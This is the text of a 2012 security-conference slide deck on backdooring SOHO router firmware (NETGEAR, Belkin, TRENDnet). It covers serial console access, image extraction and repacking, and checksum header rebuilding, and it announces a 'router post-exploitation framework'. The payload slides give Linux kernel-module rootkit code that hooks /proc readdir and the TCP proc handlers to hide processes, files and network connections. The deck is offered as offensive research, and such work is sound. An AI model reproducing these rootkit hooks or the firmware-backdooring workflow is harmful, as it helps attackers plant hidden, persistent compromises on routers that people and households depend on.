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Who am I?

▪Security Consultant at Virtual Security 
Research in Boston, MA (we're hiring!)

▪Student at Northeastern University

▪Did some stuff, won some CTFs

▪http://poppopret.org/
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How did this all start?

▪ .npk packages on MikroTik routers

▪ Install new features
▫ SOCKS proxy

▫ VPN

▫ IPv6 support

▫ XEN/KVM virtualization

▪Potentially get a shell?
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Router Firmware Upgrade Feature
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The Big Question



Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.

Can a universal process be 
developed to modify SOHO 
router firmware images to 

deploy malicious code without 
altering the interface or 

functionality of the device?
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Can a universal process be 
developed to modify SOHO 
router firmware images to 

deploy malicious code without 
altering the interface or 

functionality of the device?
...a rootkit of sorts?
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Intentions

▪Share my personal experience pursuing the 
topic and the challenges encountered

▪Gain better insight into router internals

▪Release some code

▪Pop some shells

▪Pwn some devices
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Prior Work

▪OpenWRT/DD-WRT
▫ Custom firmware, reverse engineering, hardware / 

firmware profiling

▪ firmware-mod-kit
▫ De/reconstruction of firmware images

▪devttys0.com
▫ Firmware modding, reverse engineering, and 

exploitation
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Use Cases

▪Default/weak credentials on admin panel

▪RCE/auth bypass vulnerability

▪CSRF file upload
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The Targets

WNR1000v3

Vendor: NETGEAR
Version: 1.0.2.26NA
Format: NETGEAR .chk
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: SquashFS 3.0
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The Targets

WGR614v9

Vendor: NETGEAR
Version: 1.2.30NA
Format: NETGEAR .chk
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: SquashFS 2.1
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The Targets

FD57230-4 v1110

Vendor: Belkin
Version: 4.03.03
Format: EFH
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: CramFS v2
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The Targets

TEW-652BRP v3.2R

Vendor: TRENDnet
Version: 3.00B13
Format: Realtek
Arch: MIPS
OS: Linux 2.6.19
Bootloader: U-Boot
Filesystem: SquashFS 4.0
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Generalized Technique

▪Profile the image

▪Extract parts from the image

▪Deploy payload

▪Repack the image

▪Update metadata
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Connecting to the Console

▪Most routers offer an RS-232 (serial) port

▪Find terminals → Solder connectors → Shell!

▪Useful for profiling the device, testing new 
payloads, debugging purposes

▪Bootloader access provides recovery, quick 
testing of new firmware images
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Connecting to the Console

▪Four pins to search for:
▫ GND – Ground

▫ VCC – Voltage Common Collector (+3.3V)

▫ TXD (TX) – Transmit Data

▫ RXD (RX) – Receive Data
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Console on WGR614v9

Serial port
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Console on WGR614v9

RX TX

GND
VCC
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WGR614v9 Serial Pinout
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Connecting to the Console

▪Computer RS-232 port operates at 12V

▪Router RS-232 port operates at 3.3V

▪Need to introduce a voltage shifter in the 
circuit to prevent damage
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Sparkfun <333
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Building the RS-232 Shifter Board
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Building the RS-232 Shifter Board
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Putting it in Action

RXTX

GND

VCC

RX

TX
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Putting it in Action
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Putting it in Action
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Profiling the Image
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Profiling the Image

▪What exactly makes up this giant blob of 
binary?
▫ Bootloader?

▫ Kernel?

▫ Filesystem?

▪Early attempts were crude and limited in 
helpfulness
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Profiling the Image
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find-headers.pl
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find-headers.pl
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binwalk

▪ Identifies headers, files, and code in files

▪Uses libmagic + custom signature database

▪devttys0.com
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binwalk vs. find-headers.pl
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Extracting from the Image
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Items to Extract (WNR1000v3)

▪Headers

▪LZMA blob

▪SquashFS filesystem
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Extracting the Headers

▪Offset: 0 bytes
▪Size: 86 bytes
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Extracting the LZMA Blob

▪Offset: 86
▪Size: 592580 bytes

Here is our
Linux Kernel
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Extracting the SquashFS Filesystem

▪Offset: 592666
▪Size: 1988809 bytes
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Need unsquashfs?

firmware-mod-kit's got 'em
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...but not the right one.
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...neither does the source code.

But it's supposed to!
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Getting unsquashfs
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Getting unsquashfs
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Getting unsquashfs
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Getting unsquashfs
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Getting unsquashfs



Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.

Getting unsquashfs
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Getting unsquashfs
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...and success!
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Deploying the Payload
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Payload Vectors

▪So we have a minimalistic Linux system...

▪Userland is dirtier, quicker, more portable

▪Kernel-land is stealthier, more development 
considerations, less portable
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Infection via Userland

▪Simple C backdoor code, drop on filesystem

▪Single binary is executable across nearly all 
target systems

▪File is visible, process is visible... who cares?

▪Connections are visible... more of an issue.
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Dropping the Binary
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Infection via Kernel-Land

▪Three possible methods
▫ Infection via LKM

▫ Infection via /dev/kmem

▫ Static kernel patching

▪Bug in code would DoS the entire network

▪Must be compiled against target kernel tree

▪Files, processes, connections are hidden



Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.

Infection via LKM

▪Linux Kernel Module

▪Basic rootkit techniques from old Phrack 
articles are still relevant
▫ plaguez - Weakening the Linux Kernel (Issue #52)

▫ palmers – Advances in Kernel hacking (Issue #58)

▫ sd, devik - Linux on-the-fly kernel patching without 
LKM (Issue #58)

▫ tress - Infecting loadable kernel modules (Issue #61)

▪As well as older rootkit code (like Adore)
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Infection via LKM

▪ Init and exit functions

▪Hide processes -> Hook /proc readdir()

▪Hide files / directories -> Hook dir readdir()

▪Hide connections -> Hook /proc/net/tcp, udp
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LKM Structure for 2.4

#include <linux/module.h>
#include <linux/kernel.h>

int init_module ( void ) {
    // Executed upon LKM load
    // We'll call out to hook various functions here

    return 0;
}

void cleanup_module ( void ) {
    // Executed upon LKM unload
    // We'll uninstall any hooks and restore original function pointers here
}

MODULE_LICENSE("GPL");



Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.

LKM Structure for 2.6

#include <linux/module.h>
#include <linux/kernel.h>

static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void ) {
    // Executed upon LKM load
    // We'll call out to hook various functions here

    return 0;
}

static void __exit mischief_managed ( void ) {
    // Executed upon LKM unload
    // We'll uninstall any hooks and restore original function pointers here
}

module_init(i_solemnly_swear_that_i_am_up_to_no_good);
module_exit(mischief_managed);

MODULE_LICENSE("GPL");
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Linux 2.4/2.6 Hiding Processes (and Files)

readdir_t o_proc_readdir;
filldir_t o_proc_filldir;

int n_proc_filldir ( void *__buf, const char *name, int namelen, loff_t offset, u64 
ino, unsigned d_type ) {
    char *endp;

    if ( is_hidden_pid(simple_strtol(name, &endp, 10)) )
        return 0;
    return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);
}

int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir ) {
    o_proc_filldir = filldir;
    return o_proc_readdir(file, dirent, &n_proc_filldir);
}

void hook_proc () {
    struct file *filep;

    filep = filp_open("/proc", O_RDONLY, 0);
    o_proc_readdir = filep->f_op->readdir;
    filep->f_op->readdir = &n_proc_readdir;
    filp_close(filep, 0);
}
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Linux 2.4 Hiding Connections

Dirty hairball of code, full code in adore-ng:

int n_get_info_tcp ( char *page, char **start, 
off_t pos, int count ) {
    int r = 0, i = 0, n = 0;
    char port[10], *ptr, *it;
[...]
    r = o_get_info_tcp(page, start, pos, count);
[...]
    for ( ; ptr < page + r; ptr += NET_CHUNK ) {
        if ( ! is_hidden_port(ptr) ) {
            sprintf(port, "%4d", n);
            strncpy(ptr, port, strlen(port));
            memcpy(it, ptr, NET_CHUNK);
            it += NET_CHUNK;
            ++n;
        }
    }
[...]
    return r;
}

void hook_tcp () {
    struct proc_dir_entry *pde;
    
    pde = proc_net->subdir;
    while ( strcmp(pde->name, "tcp") )
        pde = pde->next;
    o_get_info_tcp = pde->get_info;
    pde->get_info = &n_get_info_tcp;
}
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Linux 2.6 Hiding Connections

static int (*o_tcp4_seq_show)(struct seq_file *seq, void *v);
#define TMPSZ 150

static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) {
    int ret;
    char port[12];
    
    ret = o_tcp4_seq_show(seq, v);
    sprintf(port, ":%04X", to_hide_port);
    if ( srnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) {
        seq->count -= TMPSZ;
        break;
    }
    return ret;
}

void hook_tcp () {
    struct file *filep;
    struct tcp_seq_afinfo *afinfo;

    filep = filp_open("/proc/net/tcp", O_RDONLY, 0);
    afinfo = PDE(filep->f_dentry->d_inode)->data;
    o_tcp4_seq_show = afinfo->seq_ops.show;
    afinfo->seq_ops.show = &n_tcp4_seq_show;
    filp_close(filep, 0);
}
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Repacking the Image
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Repacking the Image

▪Rebuild the unpacked filesystem

▪Append extracted / generated parts 
together again

▪Pad sections to defined length, if necessary

▪Don't worry about metadata yet, we'll take 
care of that next
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Building the Filesystem

▪Build the filesystem with the appropriate 
utility and version
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Padding the Image

Placeholder for header
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Updating the Image Metadata
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NETGEAR .chk Header
0 1 2 3 4 5 6 7

Magic Number ('*#$^') Header Length

Reserved

Kernel Checksum Rootfs Checksum

Kernel Length Rootfs Length

Image Checksum Header Checksum

Board ID (< 64 bytes)

Board ID (cont.)

Board ID (cont.)

Board ID (cont.)
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NETGEAR .chk Header

Variable Value

Magic Value *#$^

Header Length 0x31 = 58 bytes

Reserved 02 01 00 02 1a 33 00 3b

Kernel Checksum 0a b0 f2 51

Rootfs Checksum 00 00 00 00

Kernel Length 0x277000 = 2,584,576 bytes

Rootfs Length 0

Image Checksum 0a b0 f2 51

Header Checksum 0f 67 0a dd

Board ID U12H139T00_NETGEAR
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Generating a .chk Header
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rpef: The Router Post-
Exploitation Framework
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rpef

▪Abstracts and expedites the process of 
backdooring router firmware images

▪http://redmine.poppopret.org/projects/rpef
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Future Work

▪More supported routers / modules

▪More / better payloads (VPN/SOCKS, modify 
traffic, port knocking?)

▪Arbitrary size payloads?

▪Multiple payloads?
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Future Work

▪Static kernel patching?

▪Reverse engineering work required to get 
past some roadblocks

▪Port all binary utilities to Python for OS 
agnosticism

▪ Integration with other frameworks?
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Thank You

▪Dan Rosenberg (vulnfactory.org)

▪ Ian Latter (midnightcode.org)

▪OpenWRT community (openwrt.org)
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Questions?
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